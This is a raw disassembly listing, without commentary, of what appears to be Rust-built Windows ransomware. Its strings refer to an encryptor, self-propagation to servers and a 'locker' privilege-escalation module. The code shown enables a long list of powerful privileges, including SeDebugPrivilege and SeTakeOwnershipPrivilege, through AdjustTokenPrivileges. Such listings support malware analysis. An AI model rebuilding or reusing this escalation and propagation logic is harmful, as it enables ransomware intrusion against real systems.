lea edx, [esi + 0x78]
call fcn.00477c50
mov eax, dword [esp + 0x98]
movsd xmm0, qword [esp + 0x90]
lea ecx, [esp + 0xf4]
lea edx, [esp + 8]
mov dword [esp + 0x10], eax
movsd qword [esp + 8], xmm0
call fcn.004783a0
add esi, 0x6c
lea ecx, [esp + 0x90]
mov edx, esi
call fcn.00477c50
mov eax, dword [esp + 0x98]
movsd xmm0, qword [esp + 0x90]
lea edi, [esp + 8]
lea ecx, [esp + 0x130]
mov edx, edi
mov dword [esp + 0x10], eax
movsd qword [esp + 8], xmm0
call fcn.00478c90
mov eax, dword [esp + 0x70]
mov esi, dword [eax + 0xf4]
lock inc dword [esi]
jle 0x48f20c
lock inc dword [esi + 8]
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x48e337
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x10], 0x14
mov dword [esp + 0x14], 0x61d120
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x14
mov dword [esp + 0x30], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x1e
mov dword [esp + 0x3c], 0x61f924
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0xe4
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edi
push ecx
call dword [eax + 0x14]
add esp, 8
movsd xmm0, qword [esp + 0xf4]
movsd xmm1, qword [esp + 0xfc]
lea ecx, [esp + 8]
movsd qword [esp + 0x10], xmm1
movsd qword [esp + 8], xmm0
call fcn.004782b0
test eax, eax
je 0x48e389
mov edi, eax
mov ebx, edx
push eax
call dword [edx]
add esp, 4
cmp dword [ebx + 4], 0
je 0x48e389
cmp dword [ebx + 8], 9
jb 0x48e37b
mov edi, dword [edi - 4]
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
movsd xmm0, qword [esp + 0x130]
movsd xmm1, qword [esp + 0x138]
lea ecx, [esp + 8]
movsd qword [esp + 0x10], xmm1
movsd qword [esp + 8], xmm0
call fcn.004782b0
test eax, eax
je 0x48e3db
mov edi, eax
mov ebx, edx
push eax
call dword [edx]
add esp, 4
cmp dword [ebx + 4], 0
je 0x48e3db
cmp dword [ebx + 8], 9
jb 0x48e3cd
mov edi, dword [edi - 4]
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lock dec dword [esi + 8]
lock dec dword [esi]
jne 0x48e3eb
mov ecx, esi
call fcn.00402a90
mov esi, dword [esp + 0x70]
lea ecx, [esi + 0xe8]
mov dword [esp + 0x6c], ecx
call fcn.00474820
mov ecx, dword [esi + 0xf4]
lock inc dword [ecx]
jle 0x48f20c
mov edx, dword [esi + 0xf8]
lock inc dword [edx]
jle 0x48f20c
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], eax
movsd xmm0, qword [esp + 0x114]
mov eax, dword [esp + 0x11c]
lea ecx, [esp + 0x90]
lea edx, [esp + 8]
movsd qword [esp + 0x18], xmm0
mov dword [esp + 0x20], eax
call fcn.004787b0
cmp dword [esp + 0x90], 0
je 0x48e470
push dword [esp + 0x94]
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [esp + 0x98]
lock dec dword [eax]
jne 0x48e488
mov ecx, dword [esp + 0x98]
call fcn.004023c0
mov eax, dword [esp + 0x9c]
lock dec dword [eax]
jne 0x48e4a0
mov ecx, dword [esp + 0x9c]
call fcn.00512a90
mov eax, dword [esp + 0x124]
mov ebx, dword [esp + 0x120]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x128]
mov dword [esp + 0x70], ebx
lea ecx, [eax + eax*2]
test eax, eax
lea esi, [ebx + ecx*4]
je 0x48e5d6
mov eax, dword [esp + 0x70]
lea ebx, [eax + 0xc]
jmp 0x48e4f2
mov eax, dword [esp + 4]
add ebx, 0xc
add eax, 0xc
cmp eax, esi
je 0x48e5d4
mov eax, dword [ebx - 0xc]
test eax, eax
mov dword [esp], eax
je 0x48e5d6
lea ecx, [ebx - 0xc]
mov edi, dword [ecx + 8]
test edi, edi
js 0x48f19a
mov eax, dword [ecx + 4]
mov dword [esp + 4], ecx
mov dword [esp + 0x60], eax
je 0x48e550
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48e536
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48f1a1
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x48e555
jmp 0x48f1a1
mov eax, 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
push edi
push dword [esp + 4]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0x6c]
lea eax, [esp + 8]
mov dword [esp + 0x10], edi
mov byte [esp + 0x14], 0
lea ecx, [esp + 0x90]
push eax
call fcn.004739a0
add esp, 4
cmp byte [esp + 0x9c], 2
je 0x48e5b4
cmp dword [esp + 0x94], 0
je 0x48e5b4
push dword [esp + 0x90]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x60], 0
je 0x48e4e0
push dword [esp]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48e4e0
mov ebx, esi
sub esi, ebx
je 0x48e5ff
add ebx, 4
jmp 0x48e5e8
add ebx, 0xc
add esi, 0xfffffff4
je 0x48e5ff
cmp dword [ebx], 0
je 0x48e5e0
push dword [ebx - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48e5e0
mov eax, dword [esp + 0x68]
test eax, eax
je 0x48e622
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x48e622
push dword [esp + 0x70]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp byte [esp + 0x10c], 0
je 0x48c988
mov eax, dword [esp + 0xf0]
test eax, eax
je 0x48e66f
mov esi, dword [esp + 0xe8]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x48e658
add esi, 0xc
add edi, 0xfffffff4
je 0x48e66f
cmp dword [esi], 0
je 0x48e650
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48e650
mov eax, dword [esp + 0xec]
test eax, eax
je 0x48c988
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x48c988
push dword [esp + 0xe8]
jmp 0x48c97b
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], ecx
mov dword [esp + 0x8c], edx
mov eax, dword [esp + 0xb4]
test eax, eax
je 0x48e6dc
mov edx, dword [esp + 0xbc]
mov ecx, dword [esp + 0xb8]
test edx, edx
jne 0x48e6e6
test ecx, ecx
je 0x48e6dc
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0x78], 0
jmp 0x48e6f5
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x80], edx
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x48e81d
lea eax, [esp + 0x90]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0xf4]
mov dword [esp + 0x114], eax
lea eax, [esp + 0x84]
mov dword [esp + 0x120], eax
lea eax, [esp + 0x78]
mov dword [esp + 0xe8], eax
lea eax, [esp + 0x114]
mov dword [esp + 0xf4], eax
lea eax, [esp + 0x120]
mov dword [esp + 0xf8], 0x5942a0
mov dword [esp + 0xfc], eax
mov dword [esp + 0x100], 0x502790
mov dword [esp + 0x104], esi
mov dword [esp + 0x108], 0x502790
mov eax, dword [0x6f1080]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x683594
mov dword [esp + 0x18], 3
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
lea edx, [esp + 8]
mov dword [esp + 0x28], 3
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x239
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x90]
mov edx, dword [esp + 0x98]
mov ebx, dword [esp + 0x84]
mov edi, dword [esp + 0x8c]
mov esi, dword [esp + 0x78]
mov dword [esp + 4], eax
call fcn.00601170
test ebx, ebx
mov dword [esp], eax
mov dword [esp + 0x60], edx
je 0x48e86b
mov ecx, ebx
mov edx, edi
call fcn.00601170
mov ebx, eax
add edx, edx
mov dword [esp + 0x68], edx
jmp 0x48e875
xor ebx, ebx
mov dword [esp + 0x68], 0
test esi, esi
je 0x48e8bc
mov edx, dword [esp + 4]
mov ecx, esi
call fcn.00601170
test eax, eax
je 0x48e8bc
mov edi, edx
mov esi, eax
add edi, edx
push eax
push ebx
push dword [esp + 8]
call fcn.00604290
add esp, 0xc
test edi, edi
mov dword [esp + 4], eax
mov word [esi], 0
je 0x48e8b7
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [esp]
jmp 0x48e8d0
push 0
push ebx
mov esi, dword [esp + 8]
push esi
call fcn.00604290
add esp, 0xc
mov dword [esp + 4], eax
test ebx, ebx
mov edi, dword [esp + 0x60]
je 0x48e8f2
cmp dword [esp + 0x68], 0
mov word [ebx], 0
je 0x48e8f2
push ebx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test edi, 0x7fffffff
mov word [esi], 0
je 0x48e90d
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 4], 0
mov eax, dword [0x6f11c8]
je 0x48f2e2
cmp eax, 2
jbe 0x48e9d2
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 8]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x6835f0
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x245
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword [esp + 0x78]
test eax, eax
je 0x48e9ef
cmp dword [esp + 0x7c], 0
je 0x48e9ef
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x84]
test eax, eax
je 0x48ea12
cmp dword [esp + 0x88], 0
je 0x48ea12
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x94], 0
je 0x48ea30
push dword [esp + 0x90]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0xa4]
test eax, eax
je 0x48ea6c
mov esi, dword [esp + 0x9c]
shl eax, 2
lea edi, [eax + eax*2]
add esi, 4
jmp 0x48ea55
add esi, 0xc
add edi, 0xfffffff4
je 0x48ea6c
cmp dword [esi], 0
je 0x48ea4d
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48ea4d
mov eax, dword [esp + 0xa0]
test eax, eax
je 0x48ea97
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x48ea97
lea eax, [esp + 0x9c]
push dword [eax]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea eax, [esp + 0xe8]
push eax
push 0x10000000
push 0xffffffffffffffff
call sub.ntdll.dll_NtOpenProcessToken
cmp eax, 0xbfffffff
mov dword [esp + 0x84], eax
jbe 0x48eb97
mov eax, dword [0x6f11c8]
test eax, eax
je 0x48f193
lea eax, [esp + 0x84]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x90]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0x460de0
mov eax, dword [0x6f1080]
mov dword [esp + 8], 1
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x6d4414
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
lea edx, [esp + 8]
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x291
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
jmp 0x48f193
mov eax, dword [esp + 0xe8]
mov dword [esp + 4], eax
mov eax, dword [0x6f1130]
test eax, eax
jne 0x48ebbd
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x48f2c2
mov dword [0x6f1130], eax
push 0xc0
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x48f2c2
mov ecx, eax
mov esi, eax
mov dword [eax], 0x683819
mov dword [eax + 4], 0x18
mov dword [eax + 8], str.SeSecurityPrivilegeSeSystemProfilePrivilegeSeLoadDriverPrivilegeSeTakeOwnershipPrivilegeSeSystemtimePrivilegeSeProfileSingleProcessPrivilegeSeIncreaseBasePriorityPrivilegeSeCreatePagefilePrivilegeSeBackupPrivilegeSeRestorePrivilegeSeShutdownPrivilegeSeDebugPrivilegeSeSystemEnvironmentPrivilegeSeChangeNotifyPrivilegeSeRemoteShutdownPrivilegeSeUndockPrivilegeSeManageVolumePrivilegeSeImpersonatePrivilegeSeCreateGlobalPrivilegeSeIncreaseWorkingSetPrivilegeSeTimeZonePrivilegeSeCreateSymbolicLinkPrivilegeSeDelegateSessionUserImpersonatePrivilegeSeIncreaseQuotaPrivilege__no_prop_servers__propagatedpropagate::serverN8h
mov dword [eax + 0xc], 0x13
mov dword [eax + 0x10], 0x68360b
mov dword [eax + 0x14], 0x18
mov dword [eax + 0x18], 0x683623
mov dword [eax + 0x1c], 0x15
mov dword [eax + 0x20], 0x683638
mov dword [eax + 0x24], 0x18
mov dword [eax + 0x28], 0x683650
mov dword [eax + 0x2c], 0x15
mov dword [eax + 0x30], 0x683665
mov dword [eax + 0x34], 0x1f
mov dword [eax + 0x38], 0x683684
mov dword [eax + 0x3c], 0x1f
mov dword [eax + 0x40], 0x6836a3
mov dword [eax + 0x44], 0x19
mov dword [eax + 0x48], 0x6836bc
mov dword [eax + 0x4c], 0x11
mov dword [eax + 0x50], 0x6836cd
mov dword [eax + 0x54], 0x12
mov dword [eax + 0x58], 0x6836df
mov dword [eax + 0x5c], 0x13
mov dword [eax + 0x60], 0x6836f2
mov dword [eax + 0x64], 0x10
mov dword [eax + 0x68], 0x683702
mov dword [eax + 0x6c], 0x1c
mov dword [eax + 0x70], 0x68371e
mov dword [eax + 0x74], 0x17
mov dword [eax + 0x78], 0x683735
mov dword [eax + 0x7c], 0x19
mov dword [eax + 0x80], 0x68374e
mov dword [eax + 0x84], 0x11
mov dword [eax + 0x88], 0x68375f
mov dword [eax + 0x8c], 0x17
mov dword [eax + 0x90], 0x683776
mov dword [eax + 0x94], 0x16
mov dword [eax + 0x98], 0x68378c
mov dword [eax + 0x9c], 0x17
mov dword [eax + 0xa0], 0x6837a3
mov dword [eax + 0xa4], 0x1d
mov dword [eax + 0xa8], 0x6837c0
mov dword [eax + 0xac], 0x13
mov dword [eax + 0xb0], 0x6837d3
mov dword [eax + 0xb4], 0x1d
mov dword [eax + 0xb8], 0x6837f0
mov dword [eax + 0xbc], 0x29
mov dword [esp + 0x60], eax
add ecx, 0xc0
mov dword [esp], ecx
jmp 0x48ed73
add esi, 8
cmp esi, dword [esp]
je 0x48f182
mov edx, dword [esi]
mov eax, dword [esi + 4]
xorps xmm0, xmm0
lea ecx, [esp + 0x130]
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 0
movaps xmmword [esp + 0x90], xmm0
add eax, edx
push 0
push eax
call fcn.005079e0
add esp, 8
mov eax, dword [esp + 0x138]
mov edx, dword [esp + 0x130]
mov ecx, dword [esp + 0x134]
test eax, eax
je 0x48ede1
lea ebx, [eax + eax]
xor edi, edi
nop
cmp word [edx + edi*2], 0
je 0x48f1af
inc edi
add ebx, 0xfffffffe
jne 0x48edd0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
lea ecx, [esp + 8]
mov dword [esp + 0x10], eax
call fcn.004d5680
mov edi, eax
mov ebx, edx
lea eax, [esp + 0x78]
push eax
push edi
push 0
call sub.ADVAPI32.dll_LookupPrivilegeValueW
test eax, eax
je 0x48ee89
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
mov dword [esp + 0x90], 1
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], ecx
mov dword [esp + 0x9c], 2
push 0
push 0
push 0x10
lea eax, [esp + 0x9c]
push eax
push 0
push dword [esp + 0x18]
call sub.ADVAPI32.dll_AdjustTokenPrivileges
test eax, eax
je 0x48ef59
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x48f029
test ebx, 0x7fffffff
mov word [edi], 0
je 0x48ed70
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x48ed70
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x48f167
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 0x134], eax
lea eax, [esp + 0x130]
mov dword [esp + 0x130], 0
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0xf4]
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], 0x5df300
mov eax, dword [0x6f1080]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x68343c
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x131
jmp 0x48f0f4
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x48f167
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 0x134], eax
lea eax, [esp + 0x130]
mov dword [esp + 0x130], 0
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0xf4]
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], 0x5df300
mov eax, dword [0x6f1080]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x683414
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x145
jmp 0x48f0f4
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x48f167
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 0x134], eax
lea eax, [esp + 0x130]
mov dword [esp + 0x130], 0
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0xf4]
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], 0x5df300
mov eax, dword [0x6f1080]
mov dword [esp + 8], 3
mov dword [esp + 0xc], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x10], 0x2f
mov dword [esp + 0x14], 0x683414
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x2f
mov dword [esp + 0x30], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0x2b
mov dword [esp + 0x3c], 0x6833b7
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x14c
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
lea edx, [esp + 8]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
cmp byte [esp + 0x130], 3
jne 0x48f167
mov esi, dword [esp + 0x134]
mov eax, dword [esi + 4]
push dword [esi]
call dword [eax]
add esp, 4
mov ecx, dword [esi + 4]
cmp dword [ecx + 4], 0
je 0x48f153
mov eax, dword [esi]
cmp dword [ecx + 8], 9
jb 0x48f145
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push dword [esp + 0x134]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test ebx, 0x7fffffff
mov word [edi], 0
je 0x48f182
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push dword [esp + 0x60]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov bl, 1
jmp 0x48bca4
call fcn.0040a620
ud2
mov ecx, edi
mov edx, 1
call fcn.0040a640
ud2
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
mov ecx, str.called__Result::unwrap____on_an__Err__value
mov edx, 0x2b
mov dword [esp + 0x14], eax
push 0x6833e4
push 0x683358
lea eax, [esp + 0x10]
push eax
call fcn.0045d480
add esp, 0xc
ud2
mov ecx, str.called__Option::unwrap____on_a__None__value_rustc_532d2b14c05f9bc20b2d27cbb5f4550d28343a36librarycore_src_strpattern.rs
mov edx, 0x2b
push 0x61d074
call fcn.0045aec0
add esp, 4
ud2
mov ecx, 8
mov edx, 4
call fcn.0040a640
ud2
ud2
lea eax, [esp + 0x64]
mov ecx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_532d2b14c05f9bc20b2d27cbb5f4550d28343a36library_std_src_threadlocal.rs
mov edx, 0x46
push 0x6d41c4
push 0x6d3878
push eax
call fcn.0045d480
add esp, 0xc
ud2
mov ecx, 0x1e0
mov edx, 4
call fcn.0040a640
ud2
mov ecx, 0x44
mov edx, 4
call fcn.0040a640
ud2
mov ecx, 0x14
mov edx, 4
call fcn.0040a640
ud2
mov ecx, 0x28
mov edx, 4
call fcn.0040a640
ud2
mov esi, dword [esp + 0x134]
mov ebx, dword [esp + 0x138]
lock dec dword [edi]
jne 0x48f291
mov ecx, edi
call fcn.00512a90
mov eax, dword [esp]
lock dec dword [eax]
jne 0x48f2a1
mov ecx, dword [esp]
call fcn.004023c0
mov ecx, str.failed_to_spawn_thread
mov edx, 0x16
mov dword [esp + 8], esi
mov dword [esp + 0xc], ebx
push 0x686d24
push 0x620d04
jmp 0x48f1d3
mov ecx, 0xc0
mov edx, 4
call fcn.0040a640
ud2
mov ecx, dword [esp]
mov edx, 1
call fcn.0040a640
ud2
cmp eax, 2
jbe 0x48f325
mov dword [esp + 8], str.escalatesuccess
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x18], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x1c], 0
lea ecx, [esp + 8]
mov edx, 3
push 0x6835c4
call fcn.005320a0
add esp, 4
xor ecx, ecx
call fcn.005ed5b0
ud2